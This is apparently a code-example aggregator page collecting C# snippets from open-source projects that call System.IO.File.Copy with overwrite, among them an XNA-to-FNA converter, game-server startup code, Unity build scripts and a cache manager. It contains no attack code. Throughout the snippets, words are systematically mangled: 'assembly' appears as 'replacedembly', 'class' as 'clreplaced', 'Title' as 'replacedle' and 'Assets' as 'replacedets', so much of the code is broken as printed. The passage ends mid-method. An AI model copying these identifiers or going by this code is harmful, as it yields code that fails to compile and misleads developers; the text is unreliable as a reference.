System.IO.File.Copy(string, string, bool)

Here are the examples of the csharp api System.IO.File.Copy(string, string, bool) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

1822 Examples 7

19 Source : XnaToFnaUtil.cs
with zlib License
from 0x0ade

public void ScanPath(string path) {
            if (Directory.Exists(path)) {
                // Use the directory as "dependency directory" and scan in it.
                if (Directories.Contains(path))
                    // No need to scan the dir if the dir is scanned...
                    return;

                RestoreBackup(path);

                Log($"[ScanPath] Scanning directory {path}");
                Directories.Add(path);
                replacedemblyResolver.AddSearchDirectory(path); // Needs to be added manually as DependencyDirs was already added

                // Most probably the actual game directory - let's just copy XnaToFna.exe to there to be referenced properly.
                string xtfPath = Path.Combine(path, Path.GetFileName(Thisreplacedembly.Location));
                if (Path.GetDirectoryName(Thisreplacedembly.Location) != path) {
                    Log($"[ScanPath] Found separate game directory - copying XnaToFna.exe and FNA.dll");
                    File.Copy(Thisreplacedembly.Location, xtfPath, true);

                    string dbExt = null;
                    if (File.Exists(Path.ChangeExtension(Thisreplacedembly.Location, "pdb")))
                        dbExt = "pdb";
                    if (File.Exists(Path.ChangeExtension(Thisreplacedembly.Location, "mdb")))
                        dbExt = "mdb";
                    if (dbExt != null)
                        File.Copy(Path.ChangeExtension(Thisreplacedembly.Location, dbExt), Path.ChangeExtension(xtfPath, dbExt), true);

                    if (File.Exists(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll")))
                        File.Copy(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll"), Path.Combine(path, "FNA.dll"), true);
                    else if (File.Exists(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll.tmp")))
                        File.Copy(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll.tmp"), Path.Combine(path, "FNA.dll"), true);

                }

                ScanPaths(Directory.GetFiles(path));
                return;
            }

            if (File.Exists(path + ".xex")) {
                if (!ExtractedXEX.Contains(path)) {
                    // Remove the original file - let XnaToFna unpack and handle it later.
                    File.Delete(path);
                } else {
                    // XnaToFna will handle the .xex instead.
                }
                return;
            }

            if (path.EndsWith(".xex")) {
                string pathTarget = path.Substring(0, path.Length - 4);
                if (string.IsNullOrEmpty(Path.GetExtension(pathTarget)))
                    return;

                using (Stream streamXEX = File.OpenRead(path))
                using (BinaryReader reader = new BinaryReader(streamXEX))
                using (Stream streamRAW = File.OpenWrite(pathTarget)) {
                    XEXImageData data = new XEXImageData(reader);

                    int offset = 0;
                    int size = data.m_memorySize;

                    // Check if this file is a PE containing an embedded PE.
                    if (data.m_memorySize > 0x10000) { // One default segment alignment.
                        using (MemoryStream streamMEM = new MemoryStream(data.m_memoryData))
                        using (BinaryReader mem = new BinaryReader(streamMEM)) {
                            if (mem.ReadUInt32() != 0x00905A4D) // MZ
                                goto WriteRaw;
                            // This is horrible.
                            streamMEM.Seek(0x00000280, SeekOrigin.Begin);
                            if (mem.ReadUInt64() != 0x000061746164692E) // ".idata\0\0"
                                goto WriteRaw;
                            streamMEM.Seek(0x00000288, SeekOrigin.Begin);
                            mem.ReadInt32(); // Virtual size; It's somewhat incorrect?
                            offset = mem.ReadInt32(); // Virtual offset.
                            // mem.ReadInt32(); // Raw size; Still incorrect.
                            // Let's just write everything...
                            size = data.m_memorySize - offset;
                        }
                    }

                    WriteRaw:
                    streamRAW.Write(data.m_memoryData, offset, size);
                }

                path = pathTarget;
                ExtractedXEX.Add(pathTarget);
            } else if (!path.EndsWith(".dll") && !path.EndsWith(".exe"))
                return;

            // Check if .dll is CLR replacedembly
            replacedemblyName name;
            try {
                name = replacedemblyName.GetreplacedemblyName(path);
            } catch {
                return;
            }

            ReaderParameters modReaderParams = Modder.GenReaderParameters(false);
            // Don't ReadWrite if the module being read is XnaToFna or a relink target.
            bool isReadWrite =
#if !CECIL0_9
            modReaderParams.ReadWrite =
#endif
                path != Thisreplacedembly.Location &&
                !Mappings.Exists(mappings => name.Name == mappings.Target);
            // Only read debug info if it exists
            if (!File.Exists(path + ".mdb") && !File.Exists(Path.ChangeExtension(path, "pdb")))
                modReaderParams.ReadSymbols = false;
            Log($"[ScanPath] Checking replacedembly {name.Name} ({(isReadWrite ? "rw" : "r-")})");
            ModuleDefinition mod;
            try {
                mod = MonoModExt.ReadModule(path, modReaderParams);
            } catch (Exception e) {
                Log($"[ScanPath] WARNING: Cannot load replacedembly: {e}");
                return;
            }
            bool add = !isReadWrite || name.Name == ThisreplacedemblyName;

            if ((mod.Attributes & ModuleAttributes.ILOnly) != ModuleAttributes.ILOnly) {
                // Mono.Cecil can't handle mixed mode replacedemblies.
                Log($"[ScanPath] WARNING: Cannot handle mixed mode replacedembly {name.Name}");
                if (MixedDeps == MixedDepAction.Stub) {
                    ModulesToStub.Add(mod);
                    add = true;
                } else {
                    if (MixedDeps == MixedDepAction.Remove) {
                        RemoveDeps.Add(name.Name);
                    }
#if !CECIL0_9
                    mod.Dispose();
#endif
                    return;
                }
            }

            if (add && !isReadWrite) { // XNA replacement
                foreach (XnaToFnaMapping mapping in Mappings)
                    if (name.Name == mapping.Target) {
                        mapping.IsActive = true;
                        mapping.Module = mod;
                        foreach (string from in mapping.Sources) {
                            Log($"[ScanPath] Mapping {from} -> {name.Name}");
                            Modder.RelinkModuleMap[from] = mod;
                        }
                    }
            } else if (!add) {
                foreach (XnaToFnaMapping mapping in Mappings)
                    if (mod.replacedemblyReferences.Any(dep => mapping.Sources.Contains(dep.Name))) {
                        add = true;
                        Log($"[ScanPath] XnaToFna-ing {name.Name}");
                        goto BreakMappings;
                    }
            }
            BreakMappings:

            if (add) {
                Modules.Add(mod);
                ModulePaths[mod] = path;
            } else {
#if !CECIL0_9
                mod.Dispose();
#endif
            }

        }

19 Source : XnaToFnaUtil.cs
with zlib License
from 0x0ade

public void RestoreBackup(string root, string origRoot) {
            Log($"[RestoreBackup] Restoring from {origRoot} to {root}");
            foreach (string origPath in Directory.EnumerateFiles(origRoot, "*", SearchOption.AllDirectories)) {
                Directory.CreateDirectory(Path.GetDirectoryName(root + origPath.Substring(origRoot.Length)));
                File.Copy(origPath, root + origPath.Substring(origRoot.Length), true);
            }
        }

19 Source : MainForm.cs
with MIT License
from 13xforever

private void selectIrdButton_Click(object sender, EventArgs e)
        {
            var dialog = new OpenFileDialog
            {
                CheckFileExists = true,
                DefaultExt = ".ird",
                Filter = "IRD file (*.ird)|*.ird|Redump disc key file (*.dkey)|*.dkey|All supported files|*.ird;*.dkey|All files|*",
                FilterIndex = 2,
                replacedle = "Select a disc key file",
                SupportMultiDottedExtensions = true,
                InitialDirectory = settings.IrdDir,
            };
            var dialogResult = dialog.ShowDialog();
            if (dialogResult != DialogResult.OK || string.IsNullOrEmpty(dialog.FileName) || !File.Exists(dialog.FileName))
                return;

            var discKeyPath = dialog.FileName;
            try
            {
                var discKey = File.ReadAllBytes(discKeyPath);
                DiscKeyInfo keyInfo;
                if (discKey.Length > 256 / 8)
                {
                    var ird = IrdParser.Parse(discKey);
                    keyInfo = new DiscKeyInfo(ird.Data1, null, discKeyPath, KeyType.Ird, ird.Crc32.ToString("x8"));
                }
                else
                    keyInfo = new DiscKeyInfo(null, discKey, discKeyPath, KeyType.Redump, discKey.ToHexString());
                var discKeyFilename = Path.GetFileName(discKeyPath);
                var cacheFilename = Path.Combine(settings.IrdDir, discKeyFilename);
                if (!File.Exists(cacheFilename))
                    File.Copy(discKeyPath, cacheFilename);

                //todo: proper check
                currentDumper.FindDiscKeyAsync(settings.IrdDir).GetAwaiter().GetResult();
                if (!currentDumper.IsValidDiscKey(discKey))
                {
                    MessageBox.Show("Selected disk key file contains incompatible file set, and cannot be used with the selected PS3 game disc.", "IRD file check", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }

                selectIrdButton.Visible = false;
                selectIrdButton.Enabled = false;
                FindMatchingIrdFinished(sender, new RunWorkerCompletedEventArgs(currentDumper, null, currentDumper?.Cts.IsCancellationRequested ?? true));
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "IRD Check Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

19 Source : FauxDeployCMAgent.cs
with GNU General Public License v3.0
from 1RedOne

public static void SendCustomDiscovery(string CMServerName, string ClientName, string SiteCode, string FilePath, ObservableCollection<CustomClientRecord> customClientRecords)
        {
            string ddmLocal = FilePath + "\\DDRS\\" + ClientName;
            string CMddmInbox = "\\\\" + CMServerName + "\\SMS_" + SiteCode + "\\inboxes\\ddm.box\\" + ClientName + ".DDR";

            DiscoveryDataRecordFile ddrF = new DiscoveryDataRecordFile("ClientFaux")
            {
                SiteCode = SiteCode,
                Architecture = "System"
            };
            ddrF.AddStringProperty("Name", DdmDiscoveryFlags.Key, 32, ClientName);
            ddrF.AddStringProperty("Netbios Name", DdmDiscoveryFlags.Name, 16, ClientName);

            foreach (CustomClientRecord Record in customClientRecords)
            {
                ddrF.AddStringProperty(Record.RecordName, DdmDiscoveryFlags.None, 32, Record.RecordValue);
            }

            System.IO.Directory.CreateDirectory(ddmLocal);
            DirectoryInfo di = new DirectoryInfo(ddmLocal);
            ddrF.SerializeToFile(ddmLocal);

            FileInfo file = di.GetFiles().FirstOrDefault();

            File.Copy(file.FullName, CMddmInbox, true);
            System.IO.Directory.Delete(ddmLocal, true);
        }

19 Source : TemplateEngin.cs
with MIT License
from 2881099

public static byte[] ReadFile(string path) {
				if (File.Exists(path)) {
					string destFileName = Path.GetTempFileName();
					File.Copy(path, destFileName, true);
					int read = 0;
					byte[] data = new byte[1024];
					using (MemoryStream ms = new MemoryStream()) {
						using (FileStream fs = new FileStream(destFileName, FileMode.OpenOrCreate, FileAccess.Read)) {
							do {
								read = fs.Read(data, 0, data.Length);
								if (read <= 0) break;
								ms.Write(data, 0, read);
							} while (true);
						}
						File.Delete(destFileName);
						data = ms.ToArray();
					}
					return data;
				}
				return new byte[] { };
			}

19 Source : TemplateGenerator.cs
with MIT License
from 2881099

void BuildEachDirectory(string templateDirectory, string outputDirectory, TemplateEngin tpl, IDbFirst dbfirst, List<DbTableInfo> tables) {
			if (Directory.Exists(outputDirectory) == false) Directory.CreateDirectory(outputDirectory);
			var files = Directory.GetFiles(templateDirectory);
			foreach (var file in files) {
				var fi = new FileInfo(file);
				if (string.Compare(fi.Extension, ".FreeSql", true) == 0) {
					var outputExtension = "." + fi.Name.Split('.')[1];
					if (fi.Name.StartsWith("for-table.")) {
						foreach (var table in tables) {
							var result = tpl.RenderFile(file, new Dictionary<string, object>() { { "table", table }, { "dbfirst", dbfirst } });
							if (result.EndsWith("return;")) continue;
							var outputName = table.Name + outputExtension;
							var mcls = Regex.Match(result, @"\s+clreplaced\s+(\w+)");
							if (mcls.Success) outputName = mcls.Groups[1].Value + outputExtension;
							var outputStream = Encoding.UTF8.GetBytes(result);
							var fullname = outputDirectory + "/" + outputName;
							if (File.Exists(fullname)) File.Delete(fullname);
							using (var outfs = File.Open(fullname, FileMode.OpenOrCreate, FileAccess.Write)) {
								outfs.Write(outputStream, 0, outputStream.Length);
								outfs.Close();
							}
						}
						continue;
					} else {
						var result = tpl.RenderFile(file, new Dictionary<string, object>() { { "tables", tables }, { "dbfirst", dbfirst } });
						var outputName = fi.Name;
						var mcls = Regex.Match(result, @"\s+clreplaced\s+(\w+)");
						if (mcls.Success) outputName = mcls.Groups[1].Value + outputExtension;
						var outputStream = Encoding.UTF8.GetBytes(result);
						var fullname = outputDirectory + "/" + outputName;
						if (File.Exists(fullname)) File.Delete(fullname);
						using (var outfs = File.Open(fullname, FileMode.OpenOrCreate, FileAccess.Write)) {
							outfs.Write(outputStream, 0, outputStream.Length);
							outfs.Close();
						}
					}
				}
				File.Copy(file, outputDirectory + file.Replace(templateDirectory, ""), true);
			}
			var dirs = Directory.GetDirectories(templateDirectory);
			foreach(var dir in dirs) {
				BuildEachDirectory(dir, outputDirectory +  dir.Replace(templateDirectory, ""), tpl, dbfirst, tables);
			}
		}

19 Source : BuildUtil.cs
with MIT License
from 404Lcc

[InitializeOnLoadMethod]
        public static void BuildHotfix()
        {
            if (File.Exists("replacedets/Hotfix/Unity.Hotfix.asmdef~"))
            {
                File.Move("replacedets/Hotfix/Unity.Hotfix.asmdef~", "replacedets/Hotfix/Unity.Hotfix.asmdef");
                LogUtil.Log("安装Hotfix");
                replacedetDatabase.Refresh();
            }
            else
            {
                if (File.Exists("replacedets/Hotfix/Unity.Hotfix.asmdef"))
                {
                    LogUtil.Log("安装Hotfix");
                }
                else
                {
                    LogUtil.Log("Hotfix丢失");
                }
            }
            if (File.Exists("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes"))
            {
                File.Delete("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes");
            }
            if (File.Exists("replacedets/Resources/DLL/Unity.Hotfix.pdb.bytes"))
            {
                File.Delete("replacedets/Resources/DLL/Unity.Hotfix.pdb.bytes");
            }
            if (File.Exists("replacedets/Bundles/DLL/Unity.Hotfix.dll.bytes"))
            {
                File.Delete("replacedets/Bundles/DLL/Unity.Hotfix.dll.bytes");
            }
            if (File.Exists("replacedets/Bundles/DLL/Unity.Hotfix.pdb.bytes"))
            {
                File.Delete("replacedets/Bundles/DLL/Unity.Hotfix.pdb.bytes");
            }
#if Release
            if (File.Exists("Unity.Hotfix.csproj"))
            {
                RoslynUtil.BuildDll("Unity.Hotfix.csproj", "replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", BuildType.Release, false);
                FileUtil.Savereplacedet("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", RijndaelUtil.RijndaelEncrypt("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", FileUtil.Getreplacedet("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes")));
                File.Copy("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", "replacedets/Bundles/DLL/Unity.Hotfix.dll.bytes", true);
            }
#else
            if (File.Exists("Library/Scriptreplacedemblies/Unity.Hotfix.dll") && File.Exists("Library/Scriptreplacedemblies/Unity.Hotfix.pdb"))
            {
                File.Copy("Library/Scriptreplacedemblies/Unity.Hotfix.dll", "replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", true);
                File.Copy("Library/Scriptreplacedemblies/Unity.Hotfix.pdb", "replacedets/Resources/DLL/Unity.Hotfix.pdb.bytes", true);
                FileUtil.Savereplacedet("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", RijndaelUtil.RijndaelEncrypt("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", FileUtil.Getreplacedet("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes")));
                File.Copy("replacedets/Resources/DLL/Unity.Hotfix.dll.bytes", "replacedets/Bundles/DLL/Unity.Hotfix.dll.bytes", true);
                File.Copy("replacedets/Resources/DLL/Unity.Hotfix.pdb.bytes", "replacedets/Bundles/DLL/Unity.Hotfix.pdb.bytes", true);
            }
#endif
            LinkUtil.BuildLink();
            replacedetDatabase.Refresh();
        }

19 Source : Program.cs
with Apache License 2.0
from AantCoder

static void Main(string[] args)
        {
            var workPort = args == null || args.Length < 2 ? 0 : int.Parse(args[1]);
            var workPath = @"C:\World" + (workPort == 0 ? "" : "\\" + workPort.ToString());

            var SaveFileName = Path.Combine(workPath, "World.dat");
            var SaveFileNameOld = Path.Combine(workPath, "WorldOld.dat");
    
            if (!File.Exists(SaveFileName)) 
            {
                return;
            }

            File.Copy(SaveFileName, SaveFileNameOld, true);

            BaseContainer Data;
            using (var fs = File.OpenRead(SaveFileName))
            {
                var bf = new BinaryFormatter();
                Data = (BaseContainer)bf.Deserialize(fs);
            }

            //тут будет код конвертации, если понадобиться


            using (var fs = File.OpenWrite(SaveFileName))
            {
                var bf = new BinaryFormatter();
                bf.Serialize(fs, Data);
            }
        }

19 Source : Repository.cs
with Apache License 2.0
from AantCoder

public void Save(bool onlyChangeData = false)
        {
            if (onlyChangeData && !ChangeData) return;
            Loger.Log("Server Saving");

            try
            {
                if (File.Exists(SaveFileName))
                {
                    if (File.Exists(SaveFileName + ".bak")) File.Delete(SaveFileName + ".bak");
                    File.Move(SaveFileName, SaveFileName + ".bak");
                }

                Data.MaxIdChat = ChatManager.Instance.MaxChatId;

                using (var fs = File.OpenWrite(SaveFileName))
                {
                    var bf = new BinaryFormatter();
                    bf.Serialize(fs, Data);
                }

                ChangeData = false;
            }
            catch
            {
                if (File.Exists(SaveFileName + ".bak"))
                    File.Copy(SaveFileName + ".bak", SaveFileName, true);
                throw;
            }

            Loger.Log("Server Saved");
        }

19 Source : Shapefile.cs
with Microsoft Public License
from abfo

private void OpenDb()
        {
            // The drivers for DBF files throw an exception if the filename 
            // is longer than 8 characters - in this case create a temp file
            // for the DB
            string safeDbasePath = _shapefileDbasePath;
            if (Path.GetFileNameWithoutExtension(safeDbasePath).Length > 8)
            {
                // create/delete temp file (we just want a safe path)
                string initialTempFile = Path.GetTempFileName();
                try
                {
                    File.Delete(initialTempFile);
                }
                catch { }

                // set the correct extension
                _shapefileTempDbasePath = Path.ChangeExtension(initialTempFile, DbasePathExtension);

                // copy over the DB
                File.Copy(_shapefileDbasePath, _shapefileTempDbasePath, true);
                safeDbasePath = _shapefileTempDbasePath;
            }

            string connectionString = string.Format(ConnectionStringTemplate,
                Path.GetDirectoryName(safeDbasePath));
            _selectString = string.Format(DbSelectStringTemplate,
                Path.GetFileNameWithoutExtension(safeDbasePath));

            _dbConnection = new OleDbConnection(connectionString);
            _dbConnection.Open();
            
        }

19 Source : OVRGradleGeneration.cs
with MIT License
from absurd-joy

public void PatchAndroidManifest(string path)
	{
		string manifestFolder = Path.Combine(path, "src/main");
		string file = manifestFolder + "/AndroidManifest.xml";

		bool patchedSecurityConfig = false;
		// If Enable NSC Config, copy XML file into gradle project
		OVRProjectConfig projectConfig = OVRProjectConfig.GetProjectConfig();
		if (projectConfig != null)
		{
			if (projectConfig.enableNSCConfig)
			{
				// If no custom xml security path is specified, look for the default location in the integrations package.
				string securityConfigFile = projectConfig.securityXmlPath;
				if (string.IsNullOrEmpty(securityConfigFile))
				{
					securityConfigFile = GetOculusProjectNetworkSecConfigPath();
				}
				else
				{
					Uri configUri = new Uri(Path.GetFullPath(securityConfigFile));
					Uri projectUri = new Uri(Application.dataPath);
					Uri relativeUri = projectUri.MakeRelativeUri(configUri);
					securityConfigFile = relativeUri.ToString();
				}

				string xmlDirectory = Path.Combine(path, "src/main/res/xml");
				try
				{
					if (!Directory.Exists(xmlDirectory))
					{
						Directory.CreateDirectory(xmlDirectory);
					}
					File.Copy(securityConfigFile, Path.Combine(xmlDirectory, "network_sec_config.xml"), true);
					patchedSecurityConfig = true;
				}
				catch (Exception e)
				{
					UnityEngine.Debug.LogError(e.Message);
				}
			}
		}

		OVRManifestPreprocessor.PatchAndroidManifest(file, enableSecurity: patchedSecurityConfig);
	}

19 Source : FSExtensions.cs
with Apache License 2.0
from acblog

public static void CopyDirectory(string sourceDirPath, string saveDirPath)
        {
            if (!Directory.Exists(saveDirPath))
            {
                Directory.CreateDirectory(saveDirPath);
            }
            string[] files = Directory.GetFiles(sourceDirPath);

            foreach (string file in files)
            {
                string pFilePath = Path.Join(saveDirPath, Path.GetFileName(file));
                File.Copy(file, pFilePath, true);
            }

            string[] dirs = Directory.GetDirectories(sourceDirPath);
            foreach (string dir in dirs)
            {
                CopyDirectory(dir, Path.Join(saveDirPath, Path.GetFileName(dir)));
            }
        }

19 Source : FileCacheManager.cs
with Apache License 2.0
from acarteas

public virtual long WriteFile(FileCache.PayloadMode mode, string key, FileCachePayload data, string regionName = null, bool policyUpdateOnly = false)
        {
            string cachedPolicy = GetPolicyPath(key, regionName);
            string cachedItemPath = GetCachePath(key, regionName);
            long cacheSizeDelta = 0;

            //ensure that the cache policy contains the correct key
            data.Policy.Key = key;

            if (!policyUpdateOnly)
            {
                long oldBlobSize = 0;
                if (File.Exists(cachedItemPath))
                {
                    oldBlobSize = new FileInfo(cachedItemPath).Length;
                }

                switch (mode)
                {
                    case FileCache.PayloadMode.Serializable:
                        using (FileStream stream = GetStream(cachedItemPath, FileMode.Create, FileAccess.Write, FileShare.None))
                        {
                            BinaryFormatter formatter = new BinaryFormatter();
                            formatter.Serialize(stream, data.Payload);
                        }
                        break;
                    case FileCache.PayloadMode.RawBytes:
                        using (FileStream stream = GetStream(cachedItemPath, FileMode.Create, FileAccess.Write, FileShare.None))
                        {
                            using (BinaryWriter writer = new BinaryWriter(stream))
                            {
                                if (data.Payload is byte[])
                                {
                                    byte[] dataPayload = (byte[])data.Payload;
                                    writer.Write(dataPayload);
                                }
                                else if (data.Payload is Stream)
                                {
                                    Stream dataPayload = (Stream)data.Payload;
                                    byte[] bytePayload = new byte[dataPayload.Length - dataPayload.Position];
                                    dataPayload.Read(bytePayload, (int)dataPayload.Position, bytePayload.Length);
                                    // no close or the like for data.Payload - we are not the owner
                                }
                            }
                        }
                        break;

                    case FileCache.PayloadMode.Filename:
                        File.Copy((string)data.Payload, cachedItemPath, true);
                        break;
                }

                //adjust cache size (while we have the file to ourselves)
                cacheSizeDelta += new FileInfo(cachedItemPath).Length - oldBlobSize;
            }

            //remove current policy file from cache size calculations
            if (File.Exists(cachedPolicy))
            {
                cacheSizeDelta -= new FileInfo(cachedPolicy).Length;
            }

            //write the cache policy
            using (FileStream stream = GetStream(cachedPolicy, FileMode.Create, FileAccess.Write, FileShare.None))
            {
                using (BinaryWriter writer = new BinaryWriter(stream))
                {
                    data.Policy.Serialize(writer);
                }
            }

            // Adjust cache size outside of the using blocks to ensure it's after the data is written.
            cacheSizeDelta += new FileInfo(cachedPolicy).Length;

            return cacheSizeDelta;
        }

19 Source : Extensions.cs
with MIT License
from Accelerider

public static void CopyTo(this string source, string target)
        {
            if (File.Exists(source))
            {
                Directory.CreateDirectory(Path.GetDirectoryName(target));

                File.Copy(source, target, true);
            }
            else if (Directory.Exists(source))
            {
                Directory.CreateDirectory(target);

                Directory.GetFileSystemEntries(source)
                    .ForEach(item => item.CopyTo(Path.Combine(target, Path.GetFileName(item))));
            }
            else
            {
                Print.Error($"Missing {source}!");
            }
        }

19 Source : AccountTests.cs
with GNU Affero General Public License v3.0
from ACEmulator

[ClreplacedInitialize]
        public static void TestSetup(TestContext context)
        {
            // copy config.js
            File.Copy(Path.Combine(Environment.CurrentDirectory, "..\\..\\..\\..\\..\\ACE.Server\\Config.js"), ".\\Config.js", true);

            ConfigManager.Initialize();
            authDb = new AuthenticationDatabase();
        }

19 Source : WeenieSearchTests.cs
with GNU Affero General Public License v3.0
from ACEmulator

[ClreplacedInitialize]
        public static void TestSetup(TestContext context)
        {
            // copy config.js
            File.Copy(Path.Combine(Environment.CurrentDirectory, "..\\..\\..\\..\\..\\ACE.Server\\Config.js"), ".\\Config.js", true);

            ConfigManager.Initialize();
            worldDb = new WorldDatabase();
        }

19 Source : StarterGearFactory.cs
with GNU Affero General Public License v3.0
from ACEmulator

private static StarterGearConfiguration LoadConfigFromResource()
        {
            // Look for the starterGear.json first in the current environment directory, then in the Executingreplacedembly location
            var exeLocation = Path.GetDirectoryName(replacedembly.GetExecutingreplacedembly().Location);
            var containerConfigDirectory = "/ace/Config";

            var starterGearFileName = "starterGear.json";

            var starterGearFile = Path.Combine(exeLocation, starterGearFileName);
            var starterGearFileContainer = Path.Combine(containerConfigDirectory, starterGearFileName);

            if (Program.IsRunningInContainer && File.Exists(starterGearFileContainer))
                File.Copy(starterGearFileContainer, starterGearFile, true);

            StarterGearConfiguration config;

            try
            {
                var starterGearText = File.ReadAllText(starterGearFile);

                config = JsonConvert.DeserializeObject<StarterGearConfiguration>(starterGearText);

                return config;
            }
            catch (Exception ex)
            {
                log.Error($"StarterGearFactory.LoadConfigFromResource() - {ex}: {ex.Message}; {ex.InnerException}: {ex.InnerException.Message}");
            }

            return null;
        }

19 Source : Program.cs
with GNU Affero General Public License v3.0
from ACEmulator

public static void Main(string[] args)
        {
            var consolereplacedle = $"ACEmulator - v{ServerBuildInfo.FullVersion}";

            Console.replacedle = consolereplacedle;

            AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;
            AppDomain.CurrentDomain.ProcessExit += new EventHandler(OnProcessExit);

            // Typically, you wouldn't force the current culture on an entire application unless you know sure your application is used in a specific region (which ACE is not)
            // We do this because almost all of the client/user input/output code does not take culture into account, and replacedumes en-US formatting.
            // Without this, many commands that require special characters like , and . will break
            Thread.CurrentThread.CurrentCulture = new CultureInfo("en-US");
            // Init our text encoding options. This will allow us to use more than standard ANSI text, which the client also supports.
            System.Text.Encoding.RegisterProvider(System.Text.CodePagesEncodingProvider.Instance);

            // Look for the log4net.config first in the current environment directory, then in the Executingreplacedembly location
            var exeLocation = Path.GetDirectoryName(replacedembly.GetExecutingreplacedembly().Location);
            var containerConfigDirectory = "/ace/Config";
            var log4netConfig = Path.Combine(exeLocation, "log4net.config");
            var log4netConfigExample = Path.Combine(exeLocation, "log4net.config.example");
            var log4netConfigContainer = Path.Combine(containerConfigDirectory, "log4net.config");

            if (IsRunningInContainer && File.Exists(log4netConfigContainer))
                File.Copy(log4netConfigContainer, log4netConfig, true);

            var log4netFileInfo = new FileInfo("log4net.config");
            if (!log4netFileInfo.Exists)
                log4netFileInfo = new FileInfo(log4netConfig);

            if (!log4netFileInfo.Exists)
            {
                var exampleFile = new FileInfo(log4netConfigExample);
                if (!exampleFile.Exists)
                {
                    Console.WriteLine("log4net Configuration file is missing.  Please copy the file log4net.config.example to log4net.config and edit it to match your needs before running ACE.");
                    throw new Exception("missing log4net configuration file");
                }
                else
                {
                    if (!IsRunningInContainer)
                    {
                        Console.WriteLine("log4net Configuration file is missing,  cloning from example file.");
                        File.Copy(log4netConfigExample, log4netConfig);
                    }
                    else
                    {                        
                        if (!File.Exists(log4netConfigContainer))
                        {
                            Console.WriteLine("log4net Configuration file is missing, ACEmulator is running in a container,  cloning from docker file.");
                            var log4netConfigDocker = Path.Combine(exeLocation, "log4net.config.docker");
                            File.Copy(log4netConfigDocker, log4netConfig);
                            File.Copy(log4netConfigDocker, log4netConfigContainer);
                        }
                        else
                        {
                            File.Copy(log4netConfigContainer, log4netConfig);
                        }

                    }
                }
            }

            var logRepository = LogManager.GetRepository(replacedembly.GetEntryreplacedembly());
            XmlConfigurator.ConfigureAndWatch(logRepository, log4netFileInfo);

            if (Environment.ProcessorCount < 2)
                log.Warn("Only one vCPU was detected. ACE may run with limited performance. You should increase your vCPU count for anything more than a single player server.");

            // Do system specific initializations here
            try
            {
                if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
                {
                    // On many windows systems, the default resolution for Thread.Sleep is 15.6ms. This allows us to command a tighter resolution
                    MM_BeginPeriod(1);
                }
            }
            catch (Exception ex)
            {
                log.Error(ex.ToString());
            }

            log.Info("Starting ACEmulator...");

            if (IsRunningInContainer)
                log.Info("ACEmulator is running in a container...");
            
            var configFile = Path.Combine(exeLocation, "Config.js");
            var configConfigContainer = Path.Combine(containerConfigDirectory, "Config.js");

            if (IsRunningInContainer && File.Exists(configConfigContainer))
                File.Copy(configConfigContainer, configFile, true);

            if (!File.Exists(configFile))
            {
                if (!IsRunningInContainer)
                    DoOutOfBoxSetup(configFile);
                else
                {
                    if (!File.Exists(configConfigContainer))
                    {
                        DoOutOfBoxSetup(configFile);
                        File.Copy(configFile, configConfigContainer);
                    }
                    else
                        File.Copy(configConfigContainer, configFile);
                }
            }

            log.Info("Initializing ConfigManager...");
            ConfigManager.Initialize();

            if (ConfigManager.Config.Server.WorldName != "ACEmulator")
            {
                consolereplacedle = $"{ConfigManager.Config.Server.WorldName} | {consolereplacedle}";
                Console.replacedle = consolereplacedle;
            }

            if (ConfigManager.Config.Offline.PurgeDeletedCharacters)
            {
                log.Info($"Purging deleted characters, and their possessions, older than {ConfigManager.Config.Offline.PurgeDeletedCharactersDays} days ({DateTime.Now.AddDays(-ConfigManager.Config.Offline.PurgeDeletedCharactersDays)})...");
                ShardDatabaseOfflineTools.PurgeCharactersInParallel(ConfigManager.Config.Offline.PurgeDeletedCharactersDays, out var charactersPurged, out var playerBiotasPurged, out var possessionsPurged);
                log.Info($"Purged {charactersPurged:N0} characters, {playerBiotasPurged:N0} player biotas and {possessionsPurged:N0} possessions.");
            }

            if (ConfigManager.Config.Offline.PurgeOrphanedBiotas)
            {
                log.Info($"Purging orphaned biotas...");
                ShardDatabaseOfflineTools.PurgeOrphanedBiotasInParallel(out var numberOfBiotasPurged);
                log.Info($"Purged {numberOfBiotasPurged:N0} biotas.");
            }

            if (ConfigManager.Config.Offline.PruneDeletedCharactersFromFriendLists)
            {
                log.Info($"Pruning invalid friends from all friend lists...");
                ShardDatabaseOfflineTools.PruneDeletedCharactersFromFriendLists(out var numberOfFriendsPruned);
                log.Info($"Pruned {numberOfFriendsPruned:N0} invalid friends found on friend lists.");
            }

            if (ConfigManager.Config.Offline.PruneDeletedObjectsFromShortcutBars)
            {
                log.Info($"Pruning invalid shortcuts from all shortcut bars...");
                ShardDatabaseOfflineTools.PruneDeletedObjectsFromShortcutBars(out var numberOfShortcutsPruned);
                log.Info($"Pruned {numberOfShortcutsPruned:N0} deleted objects found on shortcut bars.");
            }

            if (ConfigManager.Config.Offline.PruneDeletedCharactersFromSquelchLists)
            {
                log.Info($"Pruning invalid squelches from all squelch lists...");
                ShardDatabaseOfflineTools.PruneDeletedCharactersFromSquelchLists(out var numberOfSquelchesPruned);
                log.Info($"Pruned {numberOfSquelchesPruned:N0} invalid squelched characters found on squelch lists.");
            }

            if (ConfigManager.Config.Offline.AutoUpdateWorldDatabase)
            {
                CheckForWorldDatabaseUpdate();

                if (ConfigManager.Config.Offline.AutoApplyWorldCustomizations)
                    AutoApplyWorldCustomizations();
            }
            else
